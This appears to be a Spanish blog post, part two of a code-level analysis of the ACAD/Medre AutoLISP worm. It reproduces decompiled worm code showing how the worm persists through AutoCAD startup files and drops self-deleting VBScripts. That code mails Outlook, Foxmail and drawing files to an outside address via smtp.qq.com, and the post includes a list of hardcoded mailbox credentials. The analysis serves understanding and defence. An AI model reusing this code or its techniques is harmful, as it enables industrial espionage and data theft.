Análisis, Malware ACAD/Medre – Parte 2

JUN27 2012 ESCRITO POR **NOX**

El malware ACAD/Medre, este gusano usado para espionaje industrial fue escrito en el lenguaje AutoLISP, una variante del lenguaje LISP (existen otros como VisualLISP), que puede ser interpretado por AutoCAD.

Del malware podemos decir que se copia en distintos directorios, entre ellos los del sistema y del dibujo actual usado. Crea VB Scripts en temporales, los cuales realizan toda la acción maliciosa.

Cabe resaltar que no soy experto en este lenguaje, este análisis ha sido fruto de investigación, preguntas a los que saben (TopoWAR de HispaCAD), y lectura, mucha lectura.

El siguiente análisis, es uno de **código!** de manera descendente, para que quede claro y no haya confusiones.

Análisis de código

En la Parte 1 de este análisis deje la decompilación y el desensamblado del malware, cabe señalar que la decompilación no es del %100 exacta, es decir, si alguien desea compilarlo no podrá hacerlo así como está.

En el desensamblado se puede observar que este tipo de binario comienza inicializando las cadenas que piensa usar.

En el decompilado, comienzo el análisis por el siguiente pedazo de código:

```
(defun main
nil
(SETVAR "cmdecho" 0)
```

Desactiva el eco de los comandos.

```
(setq VL-FILE-DIRMK <Func> VL-FILE-DIRMK)
VL-FILE-DIRMK
```

VL-FILE-DIRMK es la variable, *Func* como su mismo nombre lo dice es la función, y *VL-FILE-DIRMK* es el argumento de la función.

```
(setq VL_SJSTA-END <Func> VL_SJSTA-END)
VL_SJSTA-END
```

IDEM.

```
(SETVAR "ACADLSPASDOC" 1)
```

Flag, valores 0 y 1.
Controla si AutoCAD carga el archivo acad.lsp en cada dibujo o simplemente el primer dibujo abierto en una sesión de AutoCAD.

- 0 = acad.lsp se carga en sólo el primer dibujo abierto en una sesión de AutoCAD
- 1 = acad.lsp carga en cada dibujo abierto.

```
(setq MK-SPRING-C (FINDFILE (STRCAT (GETVAR "DWGPREFIX") "Acad.fas")))
```

Busca el archivo Acad.fas en la ubicación actual del dibujo.

Si lo encuentra sigue el flujo descendente, si no, comienza a buscar los archivos acad20XX.lps, según explicaremos luego.

```
(setq SPRING-H (VL-REGISTRY-READ "HKEY_CURRENT_USER\Software\Microsoft\Windows\Windows Error Reporting" "FILE-H"))
;Lee el registro HKEY_CURRENT_USER\Software\Microsoft\Windows\Windows Error Reporting, la clave FILE-H
```

El malware usa esa ruta para escribir información del mismo, a lo largo de todo el código se podrá observar como accede, lee y escribe.

```
(setq MK-INFO-BIN
(LIST 'ON ERROR RESUME NEXT' 'Const OverwriteExisting = True'
'Set objFSO = CreateObject("Scripting.FileSystemObject")' 'Set WshShell = WScript.CreateObject("WScript.Shell")'
(STRCAT 'objFSO.CopyFile' 'MK-SPRING-C' ' , ' '(STRCAT (GETENV "windir")"\System32\Acad.fas") '  ', OverwriteExisting')
(STRCAT 'objFSO.CopyFile'  'MK-SPRING-C' ' , '  '(STRCAT (GETENV "windir") "\Acad.fas")' ', OverwriteExisting')
(STRCAT 'WshShell.run' attrib +h +R '(STRCAT (GETENV "windir") "\System32\Acad.fas")' ',0')
(STRCAT "WshShell.run "attrib +h +R '(STRCAT (GETENV "windir") "\System\Acad.fas")' ',0')
'createobject("scripting.filesystemobject").getfile(wscript.scriptfullname).delete'))
;MK-INFO-BIN es puntero a una lista, esta contiene el un SCRIPT de VB.
;1.- Copia el archivo al directorio "%DWGPREFIX%\Acad.fas" "%WINDIR%\System32\Acad.fas", y si existe el archivo lo sobre escribe.
;2.- Copia el archivo al directorio "%DWGPREFIX%\Acad.fas" "%WINDIR%\Acad.fas"
;3.- Usando el comando "attrib +h +r" da atributos de solo lectura y de oculto al archivo que se encuentra en la ruta %WINDIR%\System.
;4.- Usando el comando "attrib +h +r" da atributos de solo lectura y de oculto al archivo que se encuentra en la ruta %WINDIR%\System
;5.- Ejecuta el archivo del directorio %WINDIR%\System\Acad.fas
;6.- Elimina el Script que ha creado
;NOTA:
;"DWGPREFIX" indica el directorio actual del dibujo
```

LISP es un lenguaje que usa lista encadenadas, esto lo veremos por todo el malware, crea una variable que es un puntero a una lista, esta lista contiene el código de VB Script, que sería el payload del malware.

```
(setq MK_FILE-TEMP-A (VL-FILENAME-MKTEMP nil nil ".vbs"))
(setq MK_FILE-TEMP-B (OPEN (setq MK_FILE-TEMP-A (VL-FILENAME-MKTEMP nil nil ".vbs")) "w"))
(MAPCAR '(LAMBDA '(X) '(WRITE-LINE X MK_FILE-TEMP-B)) MK-INFO-BIN)
(CLOSE MK_FILE-TEMP-B)
;Crea un archivo del tipo VB Script (extensión ".vbs") en temporales con permiso de escritura.
;MK_FILE-TEMP-A contiene la ruta del archivo
;La variable MK-INFO-BIN puntero del texto del Script, es usado para escribir el archivo.
;MK_FILE-TEMP-B es la variable que tiene el contenido del texto a ser escrito.
;Una vez escrito cierra el manejador del archivo creado.
```

El malware crea un archivo vacío con la extensión .vbs en los temporales usando los nombres de 001.vbs, 002.vbs ... 00N.vbs.

```
(STARTAPP (STRCAT (GETENV "windir") "\System32\wscript.exe") MK_FILE-TEMP-A 2)
;Ejecuta usando el wscript.exe (%WINDIR%\System32\wscript.exe), el VB Script creado en temporales.
; MK_FILE-TEMP-A contiene la ruta del archivo
```

Usa el interprete de windows (wscript.exe) para ejecutar el VBScript creado.

```
(VL-REGISTRY-WRITE "HKEY_CURRENT_USER\Software\Microsoft\Windows\Windows Error Reporting" "FILE-H" "T")
;Escribe en los registros de windows, en la ruta especificada el texto "T" de la clave "FILE-H".
```

```
(setq ACADOBJ (GETVAR Then OR Else))
(cond (WCMATCH ACADOBJ "*14.0*") (
(cond (WCMATCH ACADOBJ "*15.0*") (
(cond (WCMATCH ACADOBJ "*16.0*") (
(cond (WCMATCH ACADOBJ "*16.1*") (
(cond (WCMATCH ACADOBJ "*16.2*") (
(cond (WCMATCH ACADOBJ "*17.0*") (
(cond (WCMATCH ACADOBJ "*17.1*") (
(cond (WCMATCH ACADOBJ "*17.2*") (
(cond (WCMATCH ACADOBJ "*18.0*") (
(cond (WCMATCH ACADOBJ "*18.1*") (
(cond (WCMATCH ACADOBJ "*18.2*") (
(cond (WCMATCH ACADOBJ "*19.0*") (
(cond (WCMATCH ACADOBJ "*19.1*") (
(cond (WCMATCH ACADOBJ "*19.2*") (
normal cond
```

```
(WCMATCH ACADOBJ "*19.2*")
(setq AUTOFILE "acad2015.lsp")
normal cond
"acad2015.lsp"
(setq AUTOFILE "acad2014.lsp")
normal cond
"acad2014.lsp"
(setq AUTOFILE "acad2013.lsp")
normal cond
"acad2013.lsp"
(setq AUTOFILE "acad2012.lsp")
normal cond
"acad2012.lsp"
(setq AUTOFILE "acad2011.lsp")
normal cond
"acad2011.lsp"
(setq AUTOFILE "acad2010.lsp")
normal cond
"acad2010.lsp"
(setq AUTOFILE "acad2009.lsp")
normal cond
"acad2009.lsp"
(setq AUTOFILE "acad2008.lsp")
normal cond
"acad2008.lsp"
(setq AUTOFILE "acad2007.lsp")
normal cond
"acad2007.lsp"
(setq AUTOFILE "acad2006.lsp")
normal cond
"acad2006.lsp"
(setq AUTOFILE "acad2005.lsp")
normal cond
"acad2005.lsp"
(setq AUTOFILE "acad2004.lsp")
normal cond
"acad2004.lsp"
(setq AUTOFILE "acad2002.lsp")
normal cond
"acad2002.lsp"
(setq AUTOFILE "acad2000.lsp")
```

Verifica la versión instalada del AutoCad, desde la versión 14.0 hasta la versión 19.2, que según el malware será lanzada en el 2015, asegurando una larga vida al malware.

```
(setq AUTOFILE-B (FINDFILE AUTOFILE))
; AUTOFILE tiene el nombre del archivo según la versión instalada del AUTOCAD.
; AUTOFILE-B el PATH
(setq AUTOFILE-ALL nil) ; Inicializa a 0
(setq AUTOFILE-A (OPEN AUTOFILE-B "r")); Abre el archivo según el PATH de la variable AUTOFILE-B y le da permisos de lectura,
;AUTOFILE-A tiene el manejador del archivo
(setq AUTOFILE-C (READ-LINE AUTOFILE-A))
;AUTOFILE-C contiene una linea leida del archivo AUTOFILE-A que contiene el manejador del mismo.
(setq $AUTOOP 1); Si no me equivoco especifica la linea 1
(setq AUTOFILE-ALL (CONS Then OR Else AUTOFILE-ALL))
(CLOSE AUTOFILE-A); Cierra el manejador del archivo.
(setq AUTOFILE-ALL (CONS '(if (findfile "cad.fas")(load "cad.fas"))' AUTOFILE-ALL))
;AUTOFILE-ALL es el puntero de la cadena "(if (findfile "cad.fas")(load "cad.fas"))"
(setq AUTOFILE-ALL (REVERSE AUTOFILE-ALL))
(setq AUTOFILE-C (OPEN AUTOFILE-B "w"))
;AUTOFILE-B tiene el PATH del archivo a modificar, AUTOFILE-C tiene el manejador del archivo con permisos de escritura.
(MAPCAR '(LAMBDA '(X) '(WRITE-LINE X AUTOFILE-C)) AUTOFILE-ALL)
;Escribe en el archivo "acad20XX.lsp" la linea "(if (findfile "cad.fas")(load "cad.fas"))"
(CLOSE AUTOFILE-C); Cierra el manejador del archivo.
```

Abre el archivo acad20XX.lps según la versión del AutoCAD instalado y escribe en la primera linea de este archivo “(if (findfile “cad.fas”)(load “cad.fas”))”, eso quiere decir que si lo encuentra carga al malware.

```
(setq MK-INFO-BIN
(LIST 'ON ERROR RESUME NEXT' 'Const OverwriteExisting = True' 'Set objFSO = CreateObject("Scripting.FileSystemObject")'
'Set WshShell = WScript.CreateObject("WScript.Shell")'
(STRCAT 'WshShell.run' attrib -R 'AUTOFILE-B'  ',0') 'createobject("scripting.filesystemobject").getfile(wscript.scriptfullname).dele
;MK-INFO-BIN es puntero a una lista que contine un código de tipo VB Script
;Ejecuta el archivo según el directorio de la variable AUTOFILE-B, esta contiene la ruta del archivo acad20XX.lsp
;según corresponda la versión del AUTOCAD, finalmente borra el archivo creado.
```

El VBScript está programado para que ejecute el acad20XX.lsp y luego se auto-borre.

```
(setq MK_FILE-TEMP-A (VL-FILENAME-MKTEMP nil nil ".vbs"))
(setq MK_FILE-TEMP-B (OPEN (setq MK_FILE-TEMP-A (VL-FILENAME-MKTEMP nil nil ".vbs")) "w"))
(MAPCAR '(LAMBDA '(X) '(WRITE-LINE X MK_FILE-TEMP-B)) MK-INFO-BIN)
(CLOSE MK_FILE-TEMP-B)
;Crea un archivo en temporales del tipo VB Script (extensión ".vbs") con permisos de escritura
;Escribe en el archivo creado el texto que tiene como puntero la variable MK-INFO-BI.
;Cierra el manejador del archivo.
```

```
(setq MK-PATH (VL-FILE-DIRMK (GETENV "ACAD") ";"))
(setq AUTOFILE-ALL '('(DEFUN S::STARTUP()' '(if (findfile "cad.fas")(load "cad.fas"))' '(princ)' ')'))
(setq AUTOFILE-B (OPEN (STRCAT (CAR MK-PATH) '\' AUTOFILE) "w"))
(MAPCAR '(LAMBDA '(X) '(WRITE-LINE X AUTOFILE-B)) AUTOFILE-ALL)
(CLOSE AUTOFILE-B)
;1.- Se busca el PATH del acad20XX.lsp
;2.- AUTOFILE-ALL es puntero a la linea de código "(DEFUN S::STARTUP()' '(if (findfile "cad.fas")(load "cad.fas"))' '(princ)' ')".
;3.- AUTOFILE-B tiene le manejador del archivo que fue abierto con permisos de escritura.
;4.- Se escribe la linea de código que contiene la variable AUTOFILE-ALL
;5.- Se cierra el manejador del archivo
;Si el usuario define la función S::STARTUP está incluido en el acad20XX.lsp o un archivo. MNL,
;se le llama cuando entras en un dibujo nuevo o abrir un dibujo existente.
;El comando princ sirve para escribir, este caso crear.
```

Si el archivo malicioso cad.fas, no fue encontrado, usando el comando *princ*, y el archivo es creado.

NOTA:
Al modificar el archivo acad20XX.lsp correspondiente a la versión del AUTOCAD, cada vez que se abra un archivo de AUTOCAD(*.dwg) este cargará al archivo fas (malware/medre), el archivo fas creará VB Script que será el PAYLOAD, es decir el script malicioso.

```
(setq MK-PATH (VL-FILE-DIRMK (GETENV Then OR Else) ";"))
(setq MK-PATH (CONS (GETVAR "DWGPREFIX") MK-PATH))
(setq MK_REGISTRY-FOXLIS-OK "")
(MAPCAR '(LAMBDA '(X) '(SETQ MK_REGISTRY-FOXLIS-OK
        '(STRCAT '(STRCAT 'objFSO.CopyFile' '' 'MK-SPRING-C' ',' ' X '\' , OverwriteExisting\n')
        '(STRCAT 'objFSO.CopyFile' '' 'MK-SPRING-C' ','  ' X '\cad.fas' , OverwriteExisting\n') MK_REGISTRY-FOXLIS-OK))) MK-PATH)
;1.- (GETVAR "DWGPREFIX") muestra la ruta actual del dibujo abierto
;2.- MK-SPRING-C es el puntero la ubicación actual del dibujo dónde se encuentra el archivo Acad.fas (malware)
;3.- Copia el archivo cad.fas y Acad.fas en el mismo directorio.
;4.-MK_REGISTRY-FOXLIS-OK  es el puntero a las linea de código de VB Script explicadas en el punto del 1 al 3.
(setq MK_REGISTRY-BLAN "")
(MAPCAR '(LAMBDA '(X) '(SETQ MK_REGISTRY-BLAN '(STRCAT '(STRCAT 'WshShell.run' attrib +h +R -A ' X '\Acad.fas  ' '',0 \n') MK_REGISTRY
(MAPCAR '(LAMBDA '(X) '(SETQ MK_REGISTRY-BLAN '(STRCAT '(STRCAT 'WshShell.run' attrib +h +R -A ' X '\cad.fas  ' '',0 \n') MK_REGISTRY
;5.- Da atributos de solo lectura (+R), oculto (+h) y quita el atributo de archivo de almacenamiento (-A) a los archivos Acad.fas y ca
;6.-MK_REGISTRY-BLAN es el puntero a la lineas de código de VB Script explicadas en el punto 5.
(setq MK-INFO-BIN
(LIST 'ON ERROR RESUME NEXT' 'Const OverwriteExisting = True' 'Set objFSO = CreateObject("Scripting.FileSystemObject")'
'Set WshShell = WScript.CreateObject("WScript.Shell")'
MK_REGISTRY-FOXLIS-OK MK_REGISTRY-BLAN "createobject("scripting.filesystemobject").getfile(wscript.scriptfullname).delete"))
;7.-MK-INFO-BIN es el puntero a una lista que contiene el código de VBScript para poder ejecutar el contenido de puntero
;   MK_REGISTRY-FOXLIS-OK (explicadas en el punto 1 al 4) y MK_REGISTRY-BLAN (explicadas en el punto 5 y 6).
(setq MK_FILE-TEMP-A (VL-FILENAME-MKTEMP nil nil ".vbs"))
(setq MK_FILE-TEMP-B (OPEN (setq MK_FILE-TEMP-A (VL-FILENAME-MKTEMP nil nil ".vbs")) "w"))
(MAPCAR '(LAMBDA '(X) '(WRITE-LINE X MK_FILE-TEMP-B)) MK-INFO-BIN)
(CLOSE MK_FILE-TEMP-B)
;8.- Crea un archivo en temporales del formato VBScript (extensión ".vbs")
;9.- Abre el archivo creado con permisos de escritura, y la variable MK_FILE-TEMP-B contiene el manejador.
;10.- Usando el manejador del archivo (MK_FILE-TEMP-B) escriben las lineas de código que contiene el puntero MK-INFO-BIN explicado en
```

Esto demuestra como este gusano es dependiente del código de VBScript, creando los archivos en temporales, dando permisos de oculto, solo escritura y quitando atributo de archivos de almacenamiento a Acad.fas y cad.fas

```
(setq MK-SPRING-L (FINDFILE "cad.fas"))
(setq VL-STRING-TIME (FIX (* (GETVAR "cdate") 100)))
(setq VL-FILE-CBAO-A (VL-REGISTRY-READ "HKEY_CURRENT_USER\Software\Microsoft\Windows\Windows Error Reporting" "Time"))
(setq MK-PATH (VL-FILE-DIRMK (GETENV "ACAD") ";"))
(setq MK-PATH (CONS (GETVAR "DWGPREFIX") MK-PATH))
;MK-SPRING-L contiene el PATH del cad.fas
(setq MK_REGISTRY-FOXLIS-OK "")
(MAPCAR '(LAMBDA '(X) '(SETQ MK_REGISTRY-FOXLIS-OK '(STRCAT '(STRCAT "objFSO.CopyFile " """ MK-SPRING-L "" , "" X "\" , OverwriteExis
                                                    '(STRCAT "objFSO.CopyFile " """ MK-SPRING-L "" , "" X "\acad.fas" , OverwriteExisting'
;MK_REGISTRY-FOXLIS-OK puntero al código de VB Script.
(setq MK_REGISTRY-BLAN "")
(MAPCAR '(LAMBDA '(X) '(SETQ MK_REGISTRY-BLAN '(STRCAT '(STRCAT "WshShell.run "attrib +h +R -A " X "\Acad.fas  " "",0 \n") MK_REGISTRY
(MAPCAR '(LAMBDA '(X) '(SETQ MK_REGISTRY-BLAN '(STRCAT '(STRCAT "WshShell.run "attrib +h +R -A " X "\cad.fas  " "",0 \n") MK_REGISTRY
;Da atributos de solo lectura (+R), oculto (+h) y quita el atributo de archivo de almacenamiento (-A) a los archivos Acad.fas y cad.fa
(setq MK-INFO-BIN (LIST "ON ERROR RESUME NEXT" "Const OverwriteExisting = True"
```

```
        "Set objFSO = CreateObject("Scripting.FileSystemObject")"       "Set WshShell = WScript.CreateObject("WScript.Shell")"
        MK_REGISTRY-FOXLIS-OK MK_REGISTRY-BLAN "createobject("scripting.filesystemobject").getfile(wscript.scriptfullname).delete"))
(setq MK_FILE-TEMP-A (VL-FILENAME-MKTEMP nil nil ".vbs"))
(setq MK_FILE-TEMP-B (OPEN (setq MK_FILE-TEMP-A (VL-FILENAME-MKTEMP nil nil ".vbs")) "w"))
(MAPCAR '(LAMBDA '(X) '(WRITE-LINE X MK_FILE-TEMP-B)) MK-INFO-BIN)
(CLOSE MK_FILE-TEMP-B)
;Igual que la anterior explicación, solo que aquí se lee los registros de windows que el malware usa.
```

```
(setq VL-CMD-LIKE 1)
(setq VL-CMD-LIKE 1)
(setq MAKEMAIL '("autocad-server@qq.com  cad-ver" "autocad-Line@qq.com cad-ver" "autocad-CirCle@qq.com cad-ver" "autocad-3DARRAY@qq.c
                              "1281578303@qq.com 112181784" "1340695238@qq.com 112181784" "1102352045@qq.com 112181784" "1047634268@
                              "1535299815@qq.com 123456789" "1206457043@qq.com 123456789" "1556032198@qq.com 123456789zh" "14981998
                              "1574133602@qq.com 123456789zh" "1624084576@qq.com hhh123456" "1604505729@qq.com jjj123456" "10168582
                              "1098726981@qq.com 123456789" "1546418743@qq.com 123456789" "903609896 @qq.com cad-ver" "1565843380@q

(setq MAKEMAIL '("autocad-server@qq.com  cad-ver" "autocad-Line@qq.com cad-ver" "autocad-CirCle@qq.com cad-ver" "autocad-3DARRAY@qq.c
                              "1340695238@qq.com 112181784" "1102352045@qq.com 112181784" "1047634268@qq.com 123456789" "1535299815@
                              "1556032198@qq.com 123456789zh" "1498199804@qq.com 123456789zh" "1574133602@qq.com 123456789zh" "1624
                              "1016858290@qq.com kkk123456" "1098726981@qq.com 123456789" "1546418743@qq.com 123456789" "903609896 @

;El formato de cada cadena sería "Mail Password".

(setq YUDJEMIN (REM (FIX (/ (GETVAR "CPUTICKS") 10)) (LENGTH MAKEMAIL)))
(setq YUDJEMIN (REM (FIX (/ (GETVAR "CPUTICKS") 10)) (LENGTH MAKEMAIL)))
;FIX convierte a integer (/ (GETVAR "CPUTICKS") 10)
;REM devuelve el resultado en YUDJEMIN de la división de la conversión integer usando fix, con la longitud de MAKEMAIL,
(setq PRINC-YF-LT (NTH (FIX YUDJEMIN) MAKEMAIL))
(setq PRINC-YF-LT (NTH (FIX YUDJEMIN) MAKEMAIL))
;Número de elementos de MAKEMAIL y YUDJEMIN
(setq PRINC-YFMOO (VL-FILE-DIRMK PRINC-YF-LT " "))
(setq PRINC-YFMOO (VL-FILE-DIRMK PRINC-YF-LT " "))
;El vacio que separa el mail del password en
(setq PRINC-YFMC (CAR PRINC-YFMOO))
(setq PRINC-YFMC (CAR PRINC-YFMOO))
; Devuelve en PRINC-YFMC el primer elemento de la lista
(setq PRINC-YXMM (CADR PRINC-YFMOO))
(setq PRINC-YXMM (CADR PRINC-YFMOO))
;Devuelve en PRINC-YMFC el tercer elemento de la lista
(setq PRINC-YFM (CAR (VL-FILE-DIRMK PRINC-YFMC "@")))
(setq PRINC-YFM (CAR (VL-FILE-DIRMK PRINC-YFMC "@")))
;Devuelve en PRINC-YFM a partir del "@" el primer elemnto
(setq PRINC-YJFWQ "smtp.qq.com")
(setq PRINC-YJFWQ "smtp.qq.com")
;Servidor SMTP
```

Se puede observar como la variable MAKEMAIL, es un puntero a un arreglo de cadenas, estas son los mails que usa el malware más tarde para enviar los archivos robados.
Las variable PRINC-YFMC tiene el primer elemento de la cadena a partir del espacio de la cadena que hace referencia al “mail *espacio* contraseña”, PRINC-YXMM contiene el tercer elemento a partir del espacio (contiene el pass de los mails), PRINC-YFM contiene el primer elemento de la cadena, a partir del caracter “@” (contiene los username de los mails).
PRINC-YJFWQ puntero al servidor SMTP.

```
(setq VL_REGISTRY-LPOA (VL-REGISTRY-DESCENDENTS "HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Outlook\Catalog" T))
;1.-VL-REGISTRY-DESCENDENTS retorna la lista de subkeys o nombres de valores del registro especificado.
;("HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Outlook\Catalog") en VL-REGISTRY-LPOA.
(MAPCAR '(LAMBDA '(X) '(SETQ VL_REGISTRY-FOXLIS '(CONS X VL_REGISTRY-FOXLIS))) VL_REGISTRY-LPOA)
;2.-Agrega un elemento al principio de lista, en este caso agrega el contenido de la variable VL_REGISTRY-FOXLIS.
(setq VL_REGISTRY-LPOA (VL-REGISTRY-DESCENDENTS "HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Catalog" T))
;Idem punto 1
(MAPCAR '(LAMBDA '(X) '(SETQ VL_REGISTRY-FOXLIS '(CONS X VL_REGISTRY-FOXLIS))) VL_REGISTRY-LPOA)
;Idem punto 2
(setq VL_REGISTRY-LPOA (VL-REGISTRY-DESCENDENTS "HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Catalog" T))
;Idem punto 1
(MAPCAR '(LAMBDA '(X) '(SETQ VL_REGISTRY-FOXLIS '(CONS X VL_REGISTRY-FOXLIS))) VL_REGISTRY-LPOA)
;Idem punto 2
```

Estas keys que hace referencia el malware, contienen la ruta del *.pst del Outlook.

```
(setq VL_REGISTRY-FOXA (VL-REGISTRY-READ "HKEY_CURRENT_USER\Software\Aerofox\Foxmail" "Executable"))
;3.-Lee el registro y guarda el resultado en VL_REGISTRY-FOXA
(setq VL_REGISTRY-FOXLIS (CONS (STRCAT (VL-FILENAME-DIRECTORY VL_REGISTRY-FOXA) "\Address\Address.INDX") VL_REGISTRY-FOXLIS))
;4.-VL_REGISTRY-FOXLIS contendrá la ruta completa del value de la key leida.
(setq VL_REGISTRY-FOXLIS (CONS (STRCAT (VL-FILENAME-DIRECTORY VL_REGISTRY-FOXA) "\Address\Address.BOX") VL_REGISTRY-FOXLIS))
;5.-Idem punto 4
(setq VL_REGISTRY-FOXLIS (CONS (STRCAT (VL-FILENAME-DIRECTORY VL_REGISTRY-FOXA) "\Address\Send.INDX") VL_REGISTRY-FOXLIS))
```

```
;6.-Idem punto 4
(setq VL_REGISTRY-FOXLIS (CONS (STRCAT (VL-FILENAME-DIRECTORY VL_REGISTRY-FOXA) "\Address\Send.BOX") VL_REGISTRY-FOXLIS))
;7.-Idem punto 4
(setq VL_REGISTRY-FOXLIS-OK Then OR Else)
; Variable VL_REGISTRY-FOXLIS-OK jamás es SETEADA!
(MAPCAR '(LAMBDA '(X) '(IF '(FINDFILE X) '(SETQ VL_REGISTRY-FOXLIS-OK '(STRCAT '(STRCAT "Email.AddAttachment " """ X """) "\n" VL_REG
;6.- Se adjuntan al mail que enviará los archivos robados del punto 4, 5, 6 y 7.
```

Adjunta los *.pst y de Foxmail, robaría los siguientes archivos:

- Address.INDX
- Address.BOX
- Send.INDX
- Send.BOX

```
(setq VL-INFO-BIN (LIST "ON ERROR RESUME NEXT" "NameSpace = "http://schemas.microsoft.com/cdo/configuration/""
                "Set Email = CreateObject("CDO.Message")" (STRCAT "Email.From = "" PRINC-YFMC """)
                ;PRINC-YFMC hace referencia a la cadena de mails.
                "Email.To = "me5uqyqyg@163.com"" (STRCAT "Email.Subject = " """ (STRCAT (GETENV "COMPUTERNAME") "+" (GETENV "USERNAME"
                ;Email.Subject: Concatena las variables de entorno %COMPUTERNAME% y %USERNAME%, para obtener información del ordenado
                "Email.Textbody = "EmailµØÖ·"" VL_REGISTRY-FOXLIS-OK "With Email.Configuration.Fields" ".Item(NameSpace&"sendusing") =
                ;Email.Textbody: Cuerpo del texto
                        (STRCAT ".Item(NameSpace&"smtpserver") = "" PRINC-YJFWQ "" ") ".Item(NameSpace&"smtpserverport") = 25"
                        ;Puerto a usar 25. La variable PRINC-YJFWQ contiene el servidor SMTP "smtp.qq.com".
                        ".Item(NameSpace&"smtpauthenticate") = 1" (STRCAT ".Item(NameSpace&"sendusername") = "" PRINC-YFM """)
                        ;Pass: 1
                        ;PRINC-YFM Contiene el UserName
                                (STRCAT ".Item(NameSpace&"sendpassword") = "" PRINC-YXMM """) ".Update" "End With"
                                "Email.Send" "createobject("scripting.filesystemobject").getfile(wscript.scriptfullname).delete"))
;7.-VL-INFO-BIN puntero a el código de VB Script.
(setq VL_FILE-TEMP-A (VL-FILENAME-MKTEMP nil nil ".vbs"))
(setq VL_FILE-TEMP-B (OPEN (setq VL_FILE-TEMP-A (VL-FILENAME-MKTEMP nil nil ".vbs")) "w"))
(MAPCAR '(LAMBDA '(X) '(WRITE-LINE X VL_FILE-TEMP-B)) VL-INFO-BIN)
(CLOSE VL_FILE-TEMP-B)
;8.-Crea un VB Script en temporales con permisos de escritura, y se escribe el contenido de VL-INFO-BIN según se indica en el punto 5
(VL-REGISTRY-WRITE "HKEY_CURRENT_USER\Software\Microsoft\Windows\Windows Error Reporting" "FILE-G" VL-REGIS-TIMEB)
;9.-Escribe un nuevo registro según se especifica en la ruta
```

Este es el header del mail y cuerpo del mail, los archivos adjuntos son las *.pst y la información sensible de foxmail si existiera , configura el servidor SMTP, y los mails que usa y al que envía.

El problema aquí es que **JAMAS** se llama al interprete “wscript.exe” para ejecutar el *.vbs creado, y por ende nunca se envía el mail.

```
(setq VL-FILE-FILENAME (STRCAT (GETVAR "DWGPREFIX") (GETVAR "DWGNAME")))
;10.-VL-FILE-FILENAME: Concatena el directorio actual del dibujo (*.dwg) más el nombre del archivo dwg.
;Ejem: %Directorio_actual_archivo_dwg%\nombre_del_dibujo.dwg
(setq VL-INFO-C (STRCAT (GETENV "COMPUTERNAME") "+" (GETENV "USERNAME")))
;11.-Concatena las variables de entorno %COMPUTERNAME% y %USERNAME%, para obtener información del ordenador infectado.
(setq VL-FILE-FNAM-H (VL-REGISTRY-READ "HKEY_CURRENT_USER\Software\Microsoft\Windows\Windows Error Reporting" "FILE"))
(setq VL-INFO-BIN (LIST "ON ERROR RESUME NEXT"
"NameSpace = "http://schemas.microsoft.com/cdo/configuration/""
"Set Email = CreateObject("CDO.Message")"
(STRCAT "Email.From = "" PRINC-YFMC """)
;Desde el mail que contiene PRINC-YFMC.
"Email.To = "me5uqyqyg@163.com""
;Para el mail me5uqyqyg@163.com
(STRCAT "Email.Subject = " """ VL-INFO-C """)
;VL-INFO-C explicado en el punto 11.
(STRCAT "Email.Textbody = " """ VL-FILE-FNAM-H """)
;VL-FILE-FNAM-H, contiene los registros usados por el malware.
(STRCAT "Email.AddAttachment " """ VL-FILE-FNAM-H """)
"With Email.Configuration.Fields" ".Item(NameSpace&"sendusing") = 2"
(STRCAT ".Item(NameSpace&"smtpserver") = "" PRINC-YJFWQ "" ") ".Item(NameSpace&"smtpserverport") = 25" ".Item(NameSpace&"smtpauthenti
;Servidor SMTP: smtp.qq.com, puerto: 25, smtpauthenticate: 1
(STRCAT ".Item(NameSpace&"sendusername") = "" PRINC-YFM """) (STRCAT ".Item(NameSpace&"sendpassword") = "" PRINC-YXMM """) ".Update"
"createobject("scripting.filesystemobject").getfile(wscript.scriptfullname).delete"))
;VL-INFO-BIN contiene una lista, de cadenas, en este caso de VB Script.
(setq VL_FILE-TEMP-A (VL-FILENAME-MKTEMP nil nil ".vbs"))
(setq VL_FILE-TEMP-B (OPEN (setq VL_FILE-TEMP-A (VL-FILENAME-MKTEMP nil nil ".vbs")) "w"))
(MAPCAR '(LAMBDA '(X) '(WRITE-LINE X VL_FILE-TEMP-B)) VL-INFO-BIN)
(CLOSE VL_FILE-TEMP-B)
;Crea un archivo en los temporales con el contenido de la variable VL-INFO-BIN
(STARTAPP (STRCAT (GETENV "windir") "\System32\wscript.exe") VL_FILE-TEMP-A 2)
;Ejecuta el script.
```

El uso de las variables para el UserName y Contraseña de los mails son las mismas que las anteriores ya explicadas, la única

diferencia es que en este header del mail la variable **VL-FILE-FNAM-H**, contiene la ruta del dibujo actual abierto (archivo *.dwg), en este mail es dónde se declara en la cabezera que adjunte los archivos *.dwg.

```
(setq VL_FILE-TEMP-RAR (STRCAT (GETENV "windir") "\System32\È¤Î¶»úÐµÖÆÍ¼.rar"))
;VL_FILE-TEMP-RAR contiene la siguiente ruta: %windir%\System32\È¤Î¶»úÐµÖÆÍ¼.rar
(setq VL_FILE-TEMP-DXF (STRCAT (GETENV "windir") "\System32\!È¤Î¶»úÐµÖÆÍ¼\È¤Î¶»úÐµÖÆÍ¼.dxf"))
;VL_FILE-TEMP-DXF contiene la siguiente ruta: %windir%\System32\!È¤Î¶»úÐµÖÆÍ¼\È¤Î¶»úÐµÖÆÍ¼.dxf
(VL-MKDIR (STRCAT (GETENV "windir") "\System32\!È¤Î¶»úÐµÖÆÍ¼"))
(setq VL_FILE-TEMP-DXF-B (OPEN VL_FILE-TEMP-DXF "w"))
;Crea un archivo È¤Î¶»úÐµÖÆÍ¼.dxf en la siguiente ruta: %windir%\System32\!È¤Î¶»úÐµÖÆÍ¼\È¤Î¶»úÐµÖÆÍ¼.dxf, con permisos de escritura.
;VL_FILE-TEMP-DXF-B tiene el manejador del archivo.
(setq VL_FILE-DXF-INFO (LIST "0" "SECTION" "2" "HEADER" "9" "$ACADVER" "1"
                                               "AC1015" "9" "$ACADMAINTVER" "70" "20" "9" "$DWGCODEPAGE" "3" "ANSI_936" "9"
                                               "$INSBASE" "SHADEPLOTCUSTOMDPI" "70" "300" "0" "ENDSEC" "0" "EOF"))
;VL_FILE-DXF-INFO, contiene una lista de metadatos que serán escritos en el archivo È¤Î¶»úÐµÖÆÍ¼.dxf
